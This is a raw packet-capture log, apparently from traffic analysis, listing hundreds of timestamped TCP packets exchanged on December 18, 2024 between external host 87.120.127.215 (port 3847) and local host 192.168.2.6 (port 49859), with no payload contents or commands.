Dec 18, 2024 19:28:06.295228958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.295375109 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.295569897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.298527002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.298655987 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.298710108 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.301752090 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.301973104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.302025080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.304754019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.304858923 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.304918051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.307790041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.307852030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.307960987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.310914993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.310937881 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.310983896 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.314028025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.314086914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.314147949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.317130089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.317254066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.317291975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.319283009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.319377899 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.319509029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.321444035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.321461916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.321579933 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.323230982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.323307991 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.323345900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.325275898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.325361967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.325524092 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.327322006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.327480078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.327513933 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.329345942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.329440117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.329473019 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.331296921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.331475019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.331528902 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.333533049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.333583117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.333746910 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.335359097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.335464954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.335619926 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.337842941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.337925911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.337974072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.339549065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.339638948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.339695930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.341475964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.341654062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.341698885 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.343565941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.343796968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.343838930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.345464945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.345549107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.345592022 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.347520113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.347615004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.347657919 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.349685907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.349778891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.349827051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.351627111 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.351826906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.351871014 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.353754997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.353842974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.353913069 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.356009960 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.356161118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.356211901 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.358233929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.358354092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.358402967 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.360277891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.360297918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.360349894 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.362031937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.453049898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.453097105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.453099966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.454071045 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.454114914 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.454267979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.456036091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.456087112 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.456126928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.458022118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.458139896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.458190918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.460056067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.460174084 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.460180998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.462903023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.462914944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.462959051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.466695070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.466706038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.466716051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.466727018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.466805935 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.466805935 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.467606068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.467657089 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.467681885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.469372988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.469425917 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.469461918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.471170902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.471214056 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.471286058 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.472938061 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.472995043 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.473062038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.474688053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.474785089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.474823952 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.476295948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.476335049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.476416111 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.478055000 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.478131056 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.478138924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.479533911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.479572058 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.479610920 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.481163979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.481209040 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.481241941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.482676983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.482791901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.482827902 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.484215975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.484256029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.484366894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.485933065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.485944033 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.485985994 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.487310886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.487365007 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.487370014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.488781929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.488828897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.488862038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.490407944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.490457058 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.490472078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.491763115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.491811991 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.491868019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.493386030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.493441105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.493513107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.494735003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.494776011 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.494810104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.496407032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.496418953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.496449947 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.497859955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.497870922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.497931957 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.499420881 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.499464035 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.499757051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.500933886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.501142025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.501182079 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.502451897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.502491951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.502594948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.503773928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.503786087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.503825903 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.505122900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.505356073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.505413055 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.506572008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.506627083 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.506628036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.508053064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.508097887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.508192062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.509638071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.509690046 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.509768963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.511050940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.511094093 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.511166096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.512562990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.512622118 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.512655973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.514139891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.514216900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.514257908 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.515469074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.515510082 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.515558958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.516985893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.517102003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.517153025 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.518619061 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.518665075 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.518729925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.519979954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.520030975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.520097971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.521477938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.521548986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.521598101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.522851944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.522893906 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.522994041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.524429083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.524473906 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.524507999 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.525839090 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.525880098 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.525949955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.527362108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.527429104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.527431011 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.528803110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.528855085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.528893948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.530328989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.530378103 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.530384064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.531838894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.531905890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.531969070 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.533250093 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.533308029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.533350945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.534751892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.534768105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.534825087 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.646197081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.646291971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.646394968 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.646666050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.646763086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.646810055 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.648003101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.648073912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.648133993 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.648962975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.649019003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.649234056 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.649931908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.650006056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.650098085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.651055098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.651987076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.652074099 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.656191111 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.656228065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.656264067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.656321049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.656353951 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.656409979 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.657064915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.657212973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.657269001 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.658288002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.658344030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.658606052 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.659049034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.659101009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.659179926 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.660224915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.660260916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.660657883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.661257982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.661407948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.661457062 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.662322044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.662477016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.662530899 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.663552046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.663711071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.664098978 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.664618015 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.664783001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.664835930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.665849924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.665885925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.666496038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.667054892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.667104959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.667182922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.667985916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.668158054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.668215036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.669347048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.669383049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.669509888 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.670492887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.670535088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.670577049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.671528101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.671686888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.671739101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.672673941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.672864914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.673082113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.673806906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.674107075 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.674156904 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.675095081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.675266981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.675626993 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.676263094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.676300049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.676395893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.677280903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.677565098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.678397894 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.678477049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.678514004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.678556919 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.679761887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.679799080 CET	3847	49859	87.120.127.215	192.168.2.6
